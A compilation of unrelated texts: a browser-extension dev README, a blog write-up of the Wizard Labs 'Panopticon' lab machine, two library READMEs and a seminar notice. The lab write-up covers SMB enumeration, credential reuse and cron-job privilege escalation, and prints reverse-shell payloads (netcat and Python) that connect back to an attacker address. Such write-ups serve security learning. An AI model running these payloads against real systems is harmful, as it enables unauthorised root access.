- Clone repository
- Run `yarn` in project root
- Run `gulp` in project root to start a webpack dev server with hot reloading
- Browse to `localhost:8080` to view output (Note: App will not have access to the WebExtensions API in this mode)

Some notes about how storage things work during development:

Normally, (in prod mode; once it's a built browser extension) the application stores its data in the `browser.storage.local` area, a system exposed by the WebExtensions API.

This app uses a polyfill to allow us to use the "standard" API in browsers where it's not completely supported yet (Mainly Google Chrome; we can now use `browser.storage` rather than `chrome.storage`). The polyfill is in the `src/include_prod` directory, and is copied to `build/` during the `build` gulp task.

Since our dev mode is serving the app as a web page using webpack-dev-server, the polyfill will throw errors. For this reason, we don't copy it over during the dev gulp task. Now, without the polyfill copied to `build/`, because the app relies on this `browser` API, we'll get more errors as `browser` is undefined.

In order to substitute the required functionality, in dev mode we instead copy a file from `src/include_dev` to `build/`. It's got the same name as the polyfill so that `index.html` will pick it up, but instead of being a polyfill, it's a small script to mock the parts of the WebExtensions API that we use. It is of course missing features, but works well enough for our purposes. This script also provides some default pages and settings to work with.


text:
---
layout: post
title: Wizard Labs - Panopticon
date: 2019-04-16 08:32
author: rowbot
comments: true
categories: [Wizard Labs]
---

https://labs.wizard-security.net

 I found getting the user on this box very easy, I think it took me < 10 minutes. Then after about another 10 minutes I roughly knew what I had to do to get root but for the guts of 3 hours couldn't figure out why I wasn't getting the cron job to execute my script! I figured it out in the end, I just had to take a step back and re-read the /var/mail/seer log.

Ran the following nmap scan: nmap -sC -sV -oA all -vv -p- <IP_ADDRESS>.

What stood out to me was port 80, maybe some interesting directories or a web app attack could be carried out. Port 139 and 445 was SAMBA- always interesting to see what I can access through open shares or vulnerable versions.

Port 80 revealed a website. I didn't poke about the website as it looked quite flat, the only entry point was the contact form - that I could see. I was keen to move on to what I could see from the SAMBA share.

I ran smbmap to enumerate the SAMBA share and discover the Public share can be read. https://guide.offsecnewbie.com/network-pen#smbmap

 ⚡  ~/Desktop/panopticon  smbmap -H $ip
[+] Finding open SMB ports....
[+] Guest SMB session established on <IP_ADDRESS>...
[+] IP: <IP_ADDRESS>:445	Name: panopticon.wl
	Disk                                                  	Permissions
	----                                                  	-----------
	public                                            	READ ONLY
	IPC$                                              	NO ACCESS

I discovered a zip file called old-site.zip.

 ⚡  ~/Desktop/panopticon  smbmap -R Public -H $ip #Recursively list dirs, and files
[+] Finding open SMB ports....
[+] Guest SMB session established on <IP_ADDRESS>...
[+] IP: <IP_ADDRESS>:445	Name: panopticon.wl
	Disk                                                  	Permissions
	----                                                  	-----------
	Public                                            	READ ONLY
	.\
	dr--r--r--                0 Sun Jun 17 16:17:11 2018	.
	dr--r--r--                0 Sat Feb 24 19:27:52 2018	..
	-r--r--r--           427943 Sat Feb 24 19:57:46 2018	old-site.zip

I downloaded it. As you can see smbmap is a nice little tool. I prefer it to enum4linux - though enum4linux does a few different things.

 ⚡  ~/Desktop/panopticon  smbmap -R Public -H $ip -A old-site.zip -q #downloads a file in quiet mode
[+] Finding open SMB ports....
[+] Guest SMB session established on <IP_ADDRESS>...
[+] IP: <IP_ADDRESS>:445	Name: panopticon.wl
	Disk                                                  	Permissions
	----                                                  	-----------
	[+] Match found! Downloading: Public\.\old-site.zip
	Public                                            	READ ONLY
	[+] Starting search for files matching 'old-site.zip' on share Public.
	[+] Match found! Downloading: Public\old-site.zip

I knew that I there would be a config file which I could get a password or user from. So I unzipped the file.

username and password captured.

I remembered that there was an ssh port open and tried to login with those creds.

 ⚡  ~/Desktop/panopticon  ssh seer@$ip
seer@<IP_ADDRESS>'s password:
Linux Panopticon 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Sun Dec  2 09:18:32 2018 from <IP_ADDRESS>
seer@Panopticon:~$ cat /home/seer/user.txt
6d3934480b23c0ca3d164cf19fa11946
seer@Panopticon:~$

I noticed when I logged in that I received a message that I had new mail. I highlighted it above.

I knew that mail for the user is located in /var/mail/seer in this instance.
What does it contain, and who/what sent it? Most often the messages contain output of cron jobs, or a system security report by logwatch, or similar things. Time to read it!

The mail file was very big

seer@Panopticon:~$ ls -la /var/mail/seer
-rw-rw---- 1 seer mail 23172905 Dec  2 11:36 /var/mail/seer

I'm terrible at reading file sizes and working them out to something I can understand so I turn to Google

I scrolled through and seen reference to a hidden bash script called .lol.sh

Subject: Cron <root@Panopticon> bash /var/tmp/.lol.sh

seer@Panopticon:~/dev_departement$ ls -la /var/tmp/.lol.sh
-rwx------ 1 root root 125 Jun 27 14:38 /var/tmp/.lol.sh
You have new mail in /var/mail/seer

In Seer's home directory there was a folder called dev_departement (spelled incorrectly). Maybe the machine's author is French?

The bad spelling and grammar continues when I looked at dev.txt :)

seer@Panopticon:~/dev_departement$ cat dev.txt
Hello Seer !! You are the only script developper in this departement ... Like I said you , please drop here all your scripts maybe they can make my life easier :)

Brenda&
seer@Panopticon:~/dev_departement$

So to summarize what I've found. There looks to be a cronjob running which runs a hidden file called .lol.sh of which I am not able to read. There is a file telling me that any scripts I drop into the /home/seer/dev_departement folder will be run.

This was where I was stuck for a few hours as I looked through the mail file and found a lot of references to a hidden file called .update.sh

Subject: Cron <root@Panopticon> /home/seer/.update.sh Subject: Cron <root@Panopticon> /home/seer/.update.sh Subject: Cron <root@Panopticon> /home/seer/.update.sh Subject: Cron <root@Panopticon> /home/seer/.update.sh Subject: Cron <root@Panopticon> /home/seer/.update.sh Subject: Cron <root@Panopticon> /home/seer/.update.sh Subject: Cron <root@Panopticon> /home/seer/.update.sh

From<EMAIL_ADDRESS>(Cron Daemon) To<EMAIL_ADDRESS>Subject: Cron <root@Panopticon> /home/seer/update.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> Message-Id<EMAIL_ADDRESS>Date: Sat, 24 Feb 2018 21:41:02 +0100

I thought that 1) the script had to be hidden and called update.sh and 2) that the script had to be a bash file while also being saved in seer's home directory rather than the dev one.

After creating a .sh file with

 nc -e /bin/sh <IP_ADDRESS> 443

inside and starting a listener at my end, nothing was coming back. The script was not being run. I went back and forth moving the file to different locations, using  different ports, getting the script to wget from my webserver to see if it was running it at all -  nothing! Even confirming that the script was executable.

I reviewed the mail file again and seen this beauty - highlighted below

From<EMAIL_ADDRESS>(Cron Daemon)
To<EMAIL_ADDRESS>Subject: Cron <root@Panopticon>  for f in /home/seer/dev_departement/*.py ; do  /usr/bin/python3 "$f" done
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
Message-Id<EMAIL_ADDRESS>Date: Wed, 27 Jun 2018 14:36:22 +0200

The script had to be a python script.

I tried using the following script but it didnt work, probably because it needed to be python3

seer@Panopticon:~/dev_departement$ cat script.py
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP_ADDRESS>",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
seer@Panopticon:~/dev_departement$

I created a different python script

import socket
import subprocess
s=socket.socket()
s.connect(("<IP_ADDRESS>",443))
while True:
     proc = subprocess.Popen(s.recv(1024),  shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
     s.send(proc.stdout.read() + proc.stderr.read())

seer@Panopticon:~/dev_departement$ ls -la
total 16
drwxrwxrwx 2 root root 4096 Dec  2 13:14 .
drwxr-xr-x 7 seer seer 4096 Jun 27 14:17 ..
-rw-r--r-- 1 root root  172 Jun 17 17:34 dev.txt
-rwxr-xr-x 1 seer seer  273 Dec  2 13:02 script.py

Started a listener on my machine and got a connection back.

 ⚡  ~/Desktop/panopticon  nc -lnvp 443
listening on [any] 443 ...
connect to [<IP_ADDRESS>] from (UNKNOWN) [<IP_ADDRESS>] 33634
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
8b470f864495744fcd8c3dc7b370e889

I wanted to see what was in the .lol.sh

cat /var/tmp/.lol.sh
cd /home/seer/dev_departement
for f in *.py; do  # or wget-*.sh instead of *.sh
  python3 "$f"   || break # if needed
done

And there's the code that ran the python script in.

So this was a nice easy box to start with and I'm looking forward to exploring the other boxes that wizard labs have.


text:
# go-httpresource - simple HTTP end-point

The go stdlib `net/http` library is quite good for providing a simple routing
experience but some times you want just a bit more. This library is designed
to work in conjuction and add a dispatch on HTTP methods to the mix. Some
times it's nice to have APIs being a bit more REST-ful-y.

## Example

[$ examples/simple.go](examples/simple.go)

```go
package main

import (
	"net/http"
	"github.com/zimbatm/go-httpresource"
)

func main() {
	// Only reply to GET and HEAD requests
	http.Handle("/hello", httpresource.GET(func (w http.ResponseWriter, r *http.Request) {
		w.Write([]byte("OK"))
	}))

	// A more complex example
	http.Handle("/users", httpresource.Resource {
		GET: http.HandlerFunc(func (w http.ResponseWriter, r *http.Request) {
			// Return the list of all users
		}),
		POST: http.HandlerFunc(func (w http.ResponseWriter, r *http.Request) {
			// Create a new user
		}),
	})

	err := http.ListenAndServe(":8080", nil)
	if err != nil {
		panic(err)
	}
}
```

## Related projects

* [Gorilla Mux](https://github.com/gorilla/mux) - A more featureful all-in-one
  HTTP router

## License

MIT (c) 2019 - zimbatm and contributors

repository: zimbatm/go-httpresource

gha_language: Go

repo_name: zimbatm/go-httpresource


text:
# Groovy example of [Chat Java SDK](https://github.com/getstream/stream-chat-java)

You can sign up for a Stream account at https://getstream.io/chat/get_started/.

[Java SDK](https://github.com/getstream/stream-chat-java) is tailored for backend integrations, for the client-side integrations (web and mobile) have a look at the Javascript, iOS and Android SDK libraries (https://getstream.io/chat/).

## Setup
This project has Intellij files. It requires to install the Scala plugin.
To run the project, just run PrintApp. In the run configuration, you should set the two environment variables for the key and the secret.
`STREAM_KEY=xxx;STREAM_SECRET=xxxxxx`

## License

Project is licensed under the [BSD 3-Clause](LICENSE).

## We are hiring!

We've recently closed a [$38 million Series B funding round](https://techcrunch.com/2021/03/04/stream-raises-38m-as-its-chat-and-activity-feed-apis-power-communications-for-1b-users/) and we keep actively growing.
Our APIs are used by more than a billion end-users, and you'll have a chance to make a huge impact on the product within a team of the strongest engineers all over the world.

Check out our current openings and apply via [Stream's website](https://getstream.io/team/#jobs).

repository: GetStream/stream-chat-groovy-example

repo_name: GetStream/stream-chat-groovy-example


text:
---
layout: post
blog-category: blog
title: Student Seminar in Mathematics
subtitle: All are invited
author: Som Phene
tags: [Lagrange, Four Square Theorem, Number Theory, Algebra, Student Seminar, Mathematics]
---

### Lagrange's Four Square Theorem

* As promised, we have the [student seminars in Mathematics](https://student-seminar-math-iitb.github.io/list/) taking off today with an elementary talk on Lagrange's Four Square Theorem by Poornima B. Time is 8-8:40pm and venue is 105 Math Department. The abstract and details maybe found linked on the page: [Lagrange four square by Poornima B](https://student-seminar-math-iitb.github.io/2020/02/05/s001/)
* This talk will be made accessible to all by the speaker so that even freshmen can appreciate it.

gha_license_id: NOASSERTION